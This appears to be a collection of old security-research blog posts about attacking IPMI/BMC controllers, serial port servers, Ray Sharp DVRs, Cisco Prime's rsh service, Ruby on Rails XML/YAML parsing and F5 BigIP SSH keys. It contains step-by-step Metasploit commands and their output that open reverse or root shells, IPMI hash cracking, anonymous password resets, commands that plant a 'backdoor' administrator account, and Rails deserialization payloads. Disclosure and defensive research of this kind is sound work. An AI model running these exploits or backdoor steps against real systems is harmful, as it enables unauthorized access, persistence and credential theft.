Input.Mode: Mask (?a?a?a)

Index.....: 0/1 (segment), 857375 (words), 0 (bytes)

Recovered.: 0/1 hashes, 0/1 salts

Speed/sec.: - plains, - words

Progress..: 857375/857375 (100.00%)

Running...: --:--:--:--

Estimated.: --:--:--:--


ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f6532356cc34 2591204f41cc4eab7da6e8a:taco


All hashes have been recovered



Thanks to Dhiru Kholia, John the Ripper's "bleeding-jumbo" branch now supports cracking RAKP hashes as well. Make sure you have git installed and build John with the following steps.


$ git clone

$ cd JohnTheRipper

$ git checkout bleeding-jumbo

$ cd src

$ make linux-x86-64

$ cd ../run

$ ./john --fork=8 --incremental:alpha --format=rakp ./out.john

Loaded 1 password hash (RAKP [IPMI 2.0 RAKP (RMCP+) HMAC-SHA1 32/64 OpenSSL])

Press 'q' or Ctrl-C to abort, almost any other key for status

taco            ( root)




IPMI Anonymous Authentication


In addition to the authentication problems above, Dan Farmer noted that many BMCs ship with "anonymous" access enabled by default. This is configured by setting the username of the first user account to a null string and setting a null password to match. The ipmi_dumphashes module will identify and dump the password hashes (including blank passwords) for null user accounts. This account can be difficult to use on its own, but we can leverage ipmitool to reset the password of a named user account and leverage that account for access to other services.


$ ipmitool -I lanplus -H -U '' -P '' user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

1                    false  false      true      ADMINISTRATOR

2  root            false  false      true      ADMINISTRATOR

3  admin            true    true      true      ADMINISTRATOR

$ ipmitool -I lanplus -H -U '' -P '' user set password 2 password

At this point we can login to the BMC over SSH using the new password for the root user account.

$ ssh root@

root@'s password: password

>> SMASH-CLP Console v1.09 <<






Supermicro IPMI UPnP Vulnerability


Supermicro includes a UPnP SSDP listener running on UDP port 1900 on the IPMI firmware of many of its recent motherboards. On versions prior to SMT_X9_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to the issues Rapid7 disclosed in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it yields complete root access to the BMC, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once root access is obtained, it is possible to read cleartext credentials from the file system, install additional software, and integrate permanent backdoors into the BMC that would survive a full reinstall of the host's operating system.


$ msfconsole


      =[ metasploit v4.7.0-dev [core:4.7 api:1.0]

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post

+ -- --=[ 309 payloads - 30 encoders - 8 nops


msf> use exploit/multi/upnp/libupnp_ssdp_overflow

msf exploit(libupnp_ssdp_overflow) > set RHOST

msf exploit(libupnp_ssdp_overflow) > set LHOST

msf exploit(libupnp_ssdp_overflow) > set PAYLOAD cmd/unix/reverse_openssl

msf exploit(libupnp_ssdp_overflow) > exploit


[*] Started reverse double handler

[*] Exploiting with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1' with 2106 bytes to port 1900...

[+] Sending payload of 182 bytes to

[*] Command shell session 1 opened ( -> at 2013-06-24 13:35:24 -0500

[*] Shutting down payload stager listener...


uname -a

Linux (none) 2.6.17.WB_WPCM450.1.3 #1 Wed Nov 14 10:33:10 PST 2012 armv5tejl unknown




Supermicro IPMI Clear-text Passwords


The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also requires access to the clear-text password in order to calculate the authentication hash. This means that the BMC must store a clear-text version of all configured user passwords somewhere in non-volatile storage. In the case of Supermicro, this location changes between firmware versions, but is either /nv/PSBlock or /nv/PSStore. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices.


$ cat /nv/PSBlock

  admin                      ADMINpassword^TT                    rootOtherPassword!




Exploiting the Host from the BMC



Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip.





Exploiting the BMC from the Host


In situations where a host with a BMC has been compromised, the local interface to the BMC can be used to introduce a backdoor user account, and from there establish a permanent foothold on the server. This attack requires the ipmitool to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets.



root@rcon:~# ipmitool user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

2  ADMIN            true    false      false      Unknown (0x00)

3  root            true    false      false      Unknown (0x00)


root@rcon:~# ipmitool user set name 4 backdoor

root@rcon:~# ipmitool user set password 4 backdoor

root@rcon:~# ipmitool user priv 4 4

root@rcon:~# ipmitool user list

ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit

2  ADMIN            true    false      false      Unknown (0x00)

3  root            true    false      false      Unknown (0x00)

4  backdoor        true    false      true      ADMINISTRATOR






The issues covered in this post were uncovered in a relatively short amount of time and have barely scratched the surface of possibilities. In addition to vulnerabilities in the IPMI protocol itself, most BMCs seem to suffer from issues common across all embedded devices, namely default passwords, outdated open source software, and, in some cases, backdoor accounts and static encryption keys. The world of BMCs is a mess that is not likely to get better anytime soon, and we need to be crystal clear about the risk these devices pose to our networks.



At the InfoSec Southwest 2013 conference I gave a presentation on serial port servers. This presentation was drawn from research that tried to determine how prevalent and exposed internet-connected serial port servers are. The results were pretty scary - authentication was rarely implemented and the types of devices exposed ranged from corporate VPN servers to traffic signal monitors. This post attempts to summarize that presentation, but the deck itself has more details. If you are unfamiliar with serial port servers or looking for some additional background, please consult the FAQ.




Serial port servers, also known as terminal servers, are designed to allow remote access to the serial port of another device over TCP/IP.

These devices serve three primary functions

  • Provide remote access to non-networked equipment such as environment controls, industrial automation, and monitoring systems.
  • Provide remote access, location tracking, and monitoring of physically mobile systems, including vehicles and cargo containers.
  • Provide out-of-band access to network and power equipment for the purpose of recovery in the case of an outage.


A typical serial port server is a box the size of a home router with one or more serial ports on one side and an ethernet, wireless, or mobile interface on the other. The serial port is connected to a target device, such as a router, server, or industrial control system, and the serial port server is configured to allow remote access to this port. Some examples of serial port servers are shown below.









There are three common ways for a user to access a remote serial port

  1. They login via telnet, ssh, or the web interface and directly type commands on the serial device.
  2. They connect to a specific TCP port that acts as a proxy for the serial port, allowing immediate access to the serial device.
  3. They configure vendor-specific software to access the serial port over a proprietary protocol.


In the first case, the serial port server requires some form of authentication before the user can interact with the serial-connected device. The most secure method is over a SSH session, but unless the attacker can eavesdrop on your connection, even telnet will do in a pinch.


In the second case, this is typically a clear-text TCP connection, accessed using the telnet command, and without any imposed authentication by the serial port server. If the serial-connected device requires authentication to access the serial console, this is the only layer of defense. The third case is usually identical, however some protocols (RealPort) can be configured to use both encryption and shared key authentication. In practice, however, these are mostly clear-text and unauthenticated as well.


In summary, we have a serial port exposed directly to the network. If the serial port is connected to a device that requires authentication, such as a Linux server, or a Cisco IOS router, it is theoretically protected from unauthorized access unless the attacker knows the correct password. Many serial devices do not require authentication and instead assume that if you are physically connected to a serial port, you probably have the right to configure the system.



Serial port servers change the authentication model in two significant ways. First, the concept of trusting a physical port goes out the window when that port is exposed to the internet, especially without an initial layer of authentication. Second, there is a significant difference between a SSH or telnet session and an authenticated serial console. If the user disconnects from SSH or telnet, the session is closed. This is not the case with serial consoles unless the device automatically logs out due to inactivity. Very few systems support inactivity timers on serial consoles (Cisco is one of the exceptions). An attacker just has to wait for a valid user to authenticate. Once logged in, the attacker can either hijack the serial port connection or wait for them to become idle and then steal a pre-authenticated shell on the target device.


The end result is that both the TCP proxy and proprietary access protocols lead to a situation where most of the serial ports they expose either require no authentication for an attacker to access. An analysis of internet-exposed serial port servers uncovered over 13,000 root shells, system consoles, and administrative interfaces that did not require authentication, many of which had been pre-authenticated by a valid user.


An example of an serial port connected to a pre-authenticated root shell is shown below.


$ telnet 2001


Connected to

Escape character is '^]'.


# uname -v

FreeBSD 7.3-STABLE #0


# uptime

3:48AM  up 701 days, 13:22, 1 user, load averages: 0.00, 0.00, 0.00




Internet Exposure


Over 114,000 unique IPs were identified as either Digi International or Lantronix serial port servers using the Simple Network Management Protocol (SNMP) with the community "public". Over 95,000 of these systems were exposed to the internet through mobile connections such as GPRS, EDGE, and 3G. Another 14,000 unique IPs were identified running Digi, or Digi-based devices using Digi's proprietary Advanced Device Discovery Protocol (ADDP). FTP banners were used to identify another 8,000 Digi devices. Another 500 Lantronix systems were identified using their telnet banners. Web server headers, SSL certificates, and telnet prompts were useful, but generally not conclusive on their own to identify serial port servers.


Three sets of data were used to identify open serial consoles. First, the Internet Census 2012 data was analyzed for TCP ports 2001-2010 and 3001-3010. These ports are commonly used by Digi and Lantronix devices as TCP proxies for the first 10 configured serial ports. Second, the raw responses for port 771 were analyzed to detect instances of the RealPort proprietary service used by Digi serial port servers. Finally, the devices running the RealPort service were queried to obtain the banners from each attached serial ports. The final result was a set of banners that could be matched against common serial console and device menu fingerprints. Overall, a little over 13,000 unique serial ports were exposed that offered some form of system shell, console, data feed, or administrative menu.




Metasploit Modules


A handful of Metasploit modules have been written to identify and assess serial port servers made by Digi International. To use these modules, first download Metasploit, and access the Metasploit Console or the modules tab of the Metasploit web interface.


ADDP Discovery: auxiliary/scanner/scada/digi_addp_version

The digi_addp_version module can be used to identify Digi and Digi-based devices that have the ADDP service enabled.


$ msfconsole

msf > use auxiliary/scanner/scada/digi_addp_version

msf auxiliary(digi_addp_version) > set RHOSTS

msf auxiliary(digi_addp_version) > run

[*] Finding ADDP nodes within> (1 hosts)

[*] ADDP hwname:Digi Connect WAN Edge10 hwrev:0

fwrev:Version 82001160_J1 01/04/2007

mac:00:40:9D:2E:AD:B2 ip: mask:  

gw: dns: dhcp:false 

ports:1 realport:771 realport_enc:false magic:DIGI


ADDP Reboot: auxiliary/scanner/scada/digi_addp_reboot

The digi_addp_reboot module can be used to reboot Digi devices that have the ADDP service enabled. In contrast to the version module, you may need to set the ADDP_PASSWORD variable to the "root" password if the default of dbps is not configured. Keep in mind that many devices that are based on the Digi platform do not let the user configure or disable the ADDP service at all. In addition to rebooting the device, ADDP can be used to change the IP configuration, including the DNS server, which can lead to some particularly nasty attacks when the Digi device is used as a router.


$ msfconsole

msf > use auxiliary/scanner/scada/digi_addp_reboot

msf auxiliary(digi_addp_reboot) > set RHOSTS

msf auxiliary(digi_addp_reboot) > run


RealPort Discovery: auxiliary/scanner/scada/digi_realport_version

The digi_realport_version module can be used to identify Digi and Digi-based devices that use the RealPort protocol to expose serial ports. The module will identify the platform in use and indicate how many physical serial ports are present on the device.


$ msfconsole

msf > use auxiliary/scanner/scada/digi_realport_version

msf auxiliary(digi_realport_version) > set RHOSTS

msf auxiliary(digi_realport_version) > run

[*] Digi Connect WAN ( ports: 1 )



RealPort Discovery: auxiliary/scanner/scada/digi_realport_serialport_scan

The digi_realport_serialport_scan module will attempt to retrieve a banner from each configured serial port at various baud rates. Keep in mind that the RealPort TCP service does not have to live on port 771, so portscan the device and use the ADDP modules to identify the realport service. The example below identifies a Linux root shell present on serial port 1.


$ msfconsole

msf > use auxiliary/scanner/scada/digi_realport_serialport_scan

msf auxiliary(digi_realport_serialport_scan) > set RHOSTS

msf auxiliary(digi_realport_serialport_scan) > run

[*] [port 1 @ 9600bps] "[root@localhost root] # \r\n"



Not Serial


Serial port servers were the focus of this research, but as the project progressed it became clear that many of these devices are also used to manage other types of connections. For example, security systems may be connected via Digi WAN devices, but instead of using a serial port, the Digi device is monitoring signals on GPIO pins. In the case of smart grid power meters, the Digi device was using Zigbee to communicate with the meters, and streaming the data back over MODBUS.  Even though the primary use case is often serial port access, these devices are used to connect, translate, and proxy much more than that.





The biggest challenge right now is awareness. Few organizations are aware that their equipment can be accessed through serial ports connected through mobile networks. In some cases, the organization may assume that their specific mobile configuration prevents access from the internet, when that may not be the case. The wide use of mobile connections makes detection and response much more difficult. There are some basic steps that can significantly reduce the risk of an attack through an exposed serial port server.


  • Only use encrypted management services (SSL/SSH)
  • Set a strong password and non-default username
  • Scan for and disable ADDP wherever you find it
  • Require authentication to access serial ports
    • Enable RealPort authentication and encryption for Digi
    • Use SSH instead of telnet & direct-mapped ports
  • Enable inactivity timeouts for serial consoles
  • Enable remote event logging
  • Audit uploaded scripts





There are over 114,000 serial port servers accessible from the internet, with over 95,000 connected via mobile providers. These expose over 13,000 serial ports that offer some level of administrative access to any attacker that happens to connect. There is a little awareness of how exposed these devices are and no real push by either users or vendors to improve the situation. A list of vulnerable organizations can be pulled from public sources such as SHODAN and the Internet Census 2012 data set. The sheer number of critical, bizarre, and just plain scary devices connected to the internet through serial port servers are an indication of just how dangerous the internet has become.

CCTV-hack-metasploit.jpgOn January 22, 2013, a researcher going by the name someLuser detailed a number of security flaws in the Ray Sharp DVR platform. These DVRs are often used for closed-circuit TV (CCTV) systems and security cameras. In addition to Ray Sharp, the exposures seem to affect rebranded DVR products by Swann, Lorex, URMET, KGuard, Defender, DEAPA/DSP Cop, SVAT, Zmodo, BCS, Bolide, EyeForce, Atlantis, Protectron, Greatek, Soyo, Hi-View, Cosmos, and J2000. The vulnerabilities allow for unauthenticated access to the device configuration, which includes the clear-text usernames and passwords that, once obtained, can be used to execute arbitrary system commands root through a secondary flaw in the web interface. someLuser's blog post includes a script for obtaining the clear-text passwords as well as a standalone exploit that yields a remote root shell on any vulnerable device.


In short - this provides remote, unauthorized access to security camera recording systems.


These types of flaws are common in embedded appliances, but the impact is limited by firewalls and other forms of network access control. A vulnerable DVR that is protected by the corporate firewall is not much of a risk for most organizations. In this case, however, the situation is substantially worse. The Ray Sharp DVR platform supports the Universal Plug and Play (UPnP) protocol and automatically exposes the device to the internet if a UPnP-compatible router is responsible for network address translation (NAT) on the network. Many home and small office routers enable UPnP by default. This has the effect of exposing tens of thousands of vulnerable DVRs to the internet. For reference, the Ray Sharp firmware uses the "minupnp" open source implementation to perform this port mapping.


To determine the exposure level, I worked with someLuser to determine signatures for the web interface. The two most common models could be detected with the following signatures:

  • self.location = "webclient.html'
  • <TITLE>Web Client for DVR</TITLE>


These two signatures were matched against all HTTP services within the database. This returned over 58,000 unique IPs that were running a vulnerable DVR platform. This list covered over 150 countries, with the largest portion (~19,000) located within the United States, followed by India (~6,000), and Italy (~5,700).




Interestingly enough, the beloved firmware-mod-kit package used for router tweaks also succeeds in unpacking the firmware provided by Swann. This provides an easy way to obtain the raysharp_dvr ELF image without rooting the device over the serial console. This binary implements almost all of the device's functionality, including everything from the web server to the CD-ROM writer based on cdrecord. In addition to being a terrible architecture, this may have inadvertent licensing implications. A quick analysis of the binary points out another feature - in order to make these systems even more hackable easier to access, they can automatically register their IP with a dynamic DNS service. Based on raysharp_dvr binary, the following dynamic DNS providers are supported:



To make things interesting, the user-agent sent is "myclient 1.0" and a hard-coded credential is present within the binary, which decodes as:


This hardcoded credential seems to be related to the service, but this could not be confirmed. The hardcoded user agent, however, has caused concern before.


To make matters worse, the version of OpenSSL compiled into this binary is OpenSSL 0.9.8j (07 Jan 2009), a version that is over three years old and rife with security problems.


A quick review with IDA Pro identifies a number of trivial mistakes, including unbounded strcpy() calls. One particular gem that stood out is listed below:




A Metasploit module has been added that can be used to scan for vulnerable devices.


Metasploit Pro users should click on Modules and search for raysharp_dvr_passwords. The Ray Sharp DVR Password Retriever module should be selected. For Metasploit console uses, enter the following command to select the appropriate module:


$ sudo -s -E

# msfconsole

msf> use auxiliary/scanner/misc/raysharp_dvr_passwords


Once the module is loaded, enter the IP or IP range that you would like to test:


msf  auxiliary(raysharp_dvr_passwords) > set RHOSTS

msf  auxiliary(raysharp_dvr_passwords) > set THREADS 256

msf  auxiliary(raysharp_dvr_passwords) > run

[+] (user='admin' pass='1234546') mac=00-23-63-63-63-63 version=V2.1-20110716


Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

On January 9th Cisco released advisory cisco-sa-20130109 to address a vulnerability in the "rsh" service running on their Cisco Prime LAN Management Solution virtual appliance. The bug is as bad as it gets - anyone who can access the rsh service can execute commands as the root user account without authentication. The example below demonstrates how to exploit this flaw using Metasploit ( free download ).


First off, the rsh service requires client connections to use a privileged source port. This means using the Metasploit Pro, Express, or Community web interface, or running the Metasploit console as root.


Metasploit Pro users should click on Modules and search for rsh_login. The rsh Authentication Scanner module should be selected. For Metasploit console uses, enter the following command to select the rsh module:


$ sudo /opt/metasploit*/msfconsole

msf> use auxiliary/scanner/rservices/rsh_login


Once the module is loaded, enter the IP or IP range that you would like to test, set the USERNAME option to 'root', and let it rip.


In this case, our target has the IP


msf  auxiliary(rsh_login) > set RHOSTS

msf  auxiliary(rsh_login) > set USERNAME root

msf  auxiliary(rsh_login) > exploit


[*] - Starting rsh sweep

[*] RSH - Attempting rsh with username 'root' from 'root'

[+], rsh 'root' from 'root' with no password.

[*] Command shell session 1 opened ( -> at 2013-01-16 12:23:31 -0800

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


msf  auxiliary(rsh_login) > sessions -i 1

[*] Starting interaction with 1...

sh: no job control in this shell

sh-3.2# id

uid=0(root) gid=0(root) groups=0(root)

..and that is it. You are hacking like it's 1985 (when rservices were still common in production environments).





Earlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web sites and web-enabled products and this flaw is by far the worst security problem to surface in this framework to date. If you are interested in the details of the bug, Postmodern (developer of Ronin) wrote a great blog post covering each of the issues in depth.


In this post I will walk through the process of identifying and exploiting vulnerable Ruby on Rails instances.


First off, make sure you have a copy of Metasploit and that you have applied the latest update through the web interface. The Metasploit web interface is also a Ruby on Rails application and applying the latest update will ensure that your systems are not vulnerable to attack. Applying the latest update will also ensure you have access to the latest exploits and supporting modules. If you are using a Git checkout of the Metasploit Framework, pull the latest commits from master and you should be good to go. For version 4.5.0, you want to be running update Metasploit Update 2013010901


Service Discovery


Next we need to identify any web servers within the target environment. Metasploit Pro, Metasploit Express, and Metasploit Community users can use the Scan component within the web interface to automatically discover hosts and services across the network. Console users should leverage db_nmap and the auxiliary/scanner/http/http_version module to locate and fingerprint any exposed web servers. The example below shows how you can configure the Scan component to identify common web server ports. This scan focuses only on ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 in order to reduce the scan time and identify common RoR application ports.






If you are having trouble identifying potential RoR applications, there are a few things to keep in mind:

  • Rails often runs on top of the Apache, NginX, Thin, and WEBrick servers
  • Rails may be only be accessible at a certain path, such as /forum or /redmine
  • Rails may be listening on a non-standard port, such as 3000, 4567, or 8888


Rails can be identified through additional headers on the HTTP response as well, for example:

  • X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8
  • X-Rack-Cache: miss
  • Set-Cookie: _appname_session=(base64)%3D%3D--(hexadecimal)






Vulnerability Detection


Now that you have a list of servers and ports, it is time to use the RoR vulnerability scanning module within Metasploit. Users of the web interface should access the Modules tab and search for rails_xml_yaml_scanner. Once the module has been selected, enter the IP range you wish to test. If you have web servers across multiple ports (say, 80 and 443 with SSL), you will need to repeat this process once for each port. If these servers are using SSL, make sure that option has been selected. In some cases, you may need to specify the VHOST and URIPATH to tell the module exactly what web site and URL to test.


Metasploit console users can accomplish the same thing by running the following commands:


msf> use auxiliary/scanner/http/rails_xml_yaml_scanner

msf  auxiliary(rails_xml_yaml_scanner) > set RHOSTS

msf  auxiliary(rails_xml_yaml_scanner) > set RPORT 80

msf  auxiliary(rails_xml_yaml_scanner) > set THREADS 128

msf  auxiliary(rails_xml_yaml_scanner) > run


The output of the scan should be a list of vulnerable servers, or no output at all if none were found. If you would like to see more information about the scan, set the VERBOSE option to true.


[*] Scanned 036 of 256 hosts (014% complete)

[*] Scanned 133 of 256 hosts (051% complete)

[+] is likely vulnerable due to a 500 reply for invalid YAML

[*] Scanned 148 of 256 hosts (057% complete)

[*] Scanned 154 of 256 hosts (060% complete)

[*] Scanned 155 of 256 hosts (060% complete)

[*] Scanned 221 of 256 hosts (086% complete)

[*] Scanned 224 of 256 hosts (087% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed




In the output above, we can see that appears to be vulnerable. If a database was connected to the Metasploit console or the web interface was used, there will also be a reported vulnerability for this host. The Metasploit web interface will show something like the following under the Vulnerabilities tab of Analysis.




To validate this vulnerability, we will now use the exploit module and try to gain access to the web server.  To do so, click the name of the vulnerability in the web interface and select the Launch option for the Rails exploit shown. Verify that the RPORT and SSL settings are correct and launch. Metasploit Console users can select and launch the exploit with the following commands:


msf> use exploit/multi/http/rails_xml_yaml_code_exec

msf  exploit(rails_xml_yaml_code_exec) > set RHOST

msf  exploit(rails_xml_yaml_code_exec) > set RPORT 80

msf  exploit(rails_xml_yaml_code_exec) > exploit


[*] Reloading module...

[*] Started reverse handler on

[*] Sending Railsv3 request to

[*] Sending Railsv2 request to

[*] Command shell session 1 opened ( -> at 2013-01-10 03:07:54 -0600



uid=1001(www) gid=1001(www) groups=1001(www)






If the server was reported as vulnerable, but you did not get a session, you may need to change your payload settings. By default, Metasploit will try to use a reverse-connect payload, but this can fail if your system is behind a firewall or if the target system is unable to connect back.  If you are conducting an assessment of an external network, it makes sense to run Metasploit a remote, externally-facing system as well. If you are using a virtual machine, make sure the virtual interface is set to Bridged and not NAT mode. You can also override the payload settings to prefer a bind payload, but if the target has a firewall, the LPORT option must be set to an unfiltered port.


Given the widespread use of Ruby on Rails and the mix of web sites and web-based product front-ends using it, this vulnerability may be a common finding for years to come.



This afternoon a particularly scary advisory was posted to the Ruby on Rails (RoR) security discussion list. The summary is that the XML processor in RoR can be tricked into decoding the request as a YAML document or as a Ruby Symbol, both of which can expose the application to remote code execution or SQL injection. A gentleman by the name of Felix Wilhelm went into detail on how the vulnerability works, but stopped short of providing a working proof of concept. These kinds of bugs are close to my heart, as Metasploit itself is written in Ruby, and we use Ruby on Rails within the Metasploit Community, Express, and Pro user interfaces.


We marshaled the troops and released a security update for Metasploit users (2013010202), updated all of our own RoR applications with the workaround, and started digging into the vulnerability itself.


Ben M. Murphy, a researcher working on this issue, claims that this can lead to direct system command execution in all Ruby on Rails web applications. If this pans out, this would put thousands of production web sites at risk of remote compromise.  Mr Murphy has not released his exploit code for the issue, but Felix's blog post provided enough information to start poking at the vulnerability.


To demonstrate the issue, send the following data as the body of a POST request to any RoR web application, with the Content-Type header set to "application/xml":


<?xml version="1.0" encoding="UTF-8"?>

<bang type="yaml">--- !ruby/object:Time {}



On the server side, this decodes to a live Time object:


Parameters: {"bang"=>1969-12-31 18:00:00 -0600}


The mechanics of this bug allow for at least three different paths for exploitation:


1. Trigger a SQL injection flaw by sending a Symbol in place of a parameter used in a Model.find_by*() call. This technique was discovered by joernchen and documented here. This can be accomplished using both the YAML and Symbol types in the XML, but the Symbol format is easiest. The original description was wrong, but SQL injection is still possible using Arel objects. Take a look at Postmodern's blog post for more information on the SQL injection vector.


2. Allocate an arbitrary Ruby object and be able to set any instance variables. This object is sent instead of the expected parameter to the application. This can lead to all sorts of chaos, but doesn't provide remote code execution all by itself, since an object is required that does unsafe things with init_with() or the application has to do something dangerous with the unexpected object parameter.



<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/object:UnsafeObject

attribute1: value1



This results in a sequence that looks something like the following:



obj = UnsafeObject.allocate

if obj.respond_to?(:init_with)

  obj.init_with(.. attributes ..)


  arguments.each_pair { |key,val| obj.instance_variable_set(key, val) }



3. Instantiate an arbitrary Ruby object and be able to call the "[]=" method with any desired parameters. This can be abused in a slightly different way and opens additional avenues for attack.


<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/hash:UnsafeObject

attribute1: value1




This results in a different code path being taken:


obj =

arguments.each_pair { |key,val| obj[key] = val }



In the case of #1, the application must pass the Symbol parameter into a SQL query, which limits the attack surface to database-enabled applications. The interesting thing about methods #2 and #3 is that they will work regardless of whether the application does anything wtih SQL. The caveat is that the application needs to either do something unsafe with the unexpected object, or a class already in memory has to be abused through the init_with() or []= method handlers.


A quick review of common Ruby on Rails classes didn't turn up any obvious paths to exploit #2 or #3, but given Mr. Murphy's claims and the sheer number of code paths available, this is more than likely the worst security issue that the Rails platform has seen to date.


Stay tuned for more information on this flaw and more than likely a Metasploit module or two in the coming days.



Update 1: We are still looking into how this can be turned into a remote exploit, but for any application that has done a require "drb" somewhere in the dependency list, the following local exploit scenario works.

First instantiate a DRb Server object in the Rails application using a request like the one below:


<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/hash:DRb::DRbServer {}


Now open msfconsole and use the drb_remote_codeexec module to get a session as the web user. This is limited to the local system, since DRb picks a random port bound to localhost when instantiated with no arguments.


$ msfconsole

msf> use exploit/linux/misc/drb_remote_codeexec

msf  exploit(drb_remote_codeexec) > set URI druby://localhost:45074

msf  exploit(drb_remote_codeexec) > exploit

[*] Started reverse double handler

[*] trying to exploit instance_eval

< snip >

[*] Matching...

[*] B is input...

[*] Command shell session 1 opened ( -> at 2013-01-09 13:06:39 -0600



uid=1001(www) gid=1001(www) groups=1001(www)


Update 2: An anonymous contributor pointed us to a specific class that is exploitable using the ruby/hash method (#3 above). The class is
ActionDispatch::Routing::RouteSet::NamedRouteCollection. Expect a Metasploit module in the next 4-12 hours.

Update 3: The Metasploit module is now available on GitHub and handles Ruby on Rails versions 2 and 3.

Update 4: A walkthrough of using the scanner and exploit modules is now available

Update 5: CVE-2013-0333. Second verse, same as the first, except this time. Metapsloit itself is not vulnerable.


Introducing Metasploitable 2!

Posted by hdmoore Jun 13, 2012

Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable applications. I am happy to announce the release of Metasploitable 2, an even better punching bag for security tools like Metasploit, and a great way to practice exploiting vulnerabilities that you might find in a production environment.


For download links and a walkthrough of some of the vulnerabilities (and how to exploit them), please take a look at the Metasploitable 2 Exploitability Guide.


Have fun!



This morning Matta Consulting posted an advisory for the F5 BigIP equipment. The advisory states that certain BigIP devices contain a SSH private key on its filesystem that is trusted for remote root access on every other BigIP appliance. Although Matta did not provide the private key, they did provide the public key itself:


ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJ T+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbK v58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk= SCCP Superuser

F5 has published a patch for this issue, but you can bet that many users will be unaware of the issue , and even those that are aware may not want to take down their load balancer to apply it( applying the fix does not result in any downtime as stated in the comments below ). The private key is likely still on a large number of production appliances and any attacker with the access to a virtual or physical appliance can extract the key.

A quick review of my personal research project's data shows that it identified 7701 BigIP systems of which 3409 of them have SSH open to the world. If this trend is representative (and it should be via random IP sampling), this puts the overall exposure at 43% of all F5 BigIP systems.Note that this sampling was for devices running Apache with the following string in the default page: "F5 Networks Configuration Utility" (not devices with a Server banner of BigIP, which had a much lower rate of SSH exposure).

One nifty feature within Metasploit is the ability to "half-scan" SSH servers with only the public key. This will tell us whether the server would accept authentication with that key, even if we do not possess the corresponding private  key. This is a great way to ensure that a terminated employee's keys have been removed from your network and check for backdoor keys such as the one introduced accidentally by F5. We can use the public key from this advisory with the ssh_identify_pubkeys module to quickly identify any F5 equipment with this insecure key still in place. Once we get a copy of the private key, this will be used to add a full-on exploit module to Metasploit.

Metasploit Pro customers can quickly test all SSH servers identified in their current workspace. Just choose the Bruteforce component, set the Depth to "known only", select only the SSH-PUBKEY protocol, and under Advanced Options, paste the SSH public key into the Additional Credentials field. Launch the Bruteforce task and wait for it to complete. Any vulnerable systems will now have a public key credential associated with them in the Credentials tab of the host view and listed in the Authentication Tokens report.


Metasploit Framework and Pro command-line users can accomplish the same thing through the Metasploit console.


To get started, place the target SSH key into a text file on the local filesystem ("") and launch msfconsole

$ msfconsole

msf > use auxiliary/scanner/ssh/ssh_identify_pubkeys

msf  auxiliary(ssh_identify_pubkeys) > set USERNAME root

msf  auxiliary(ssh_identify_pubkeys) > set KEY_FILE

msf  auxiliary(ssh_identify_pubkeys) > set RHOSTS

msf  auxiliary(ssh_identify_pubkeys) > run


[*] SSH - Trying 1 cleartext key per user.

[+] SSH - [1/1] - Accepted: 'root' with key '71:3a:b0:18:e2:6c:41:18:4e:56:1e:fd:d2:49:97:66' - SCCP Superuser

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

If you'd like to give this a try yourself, download Metasploit now.




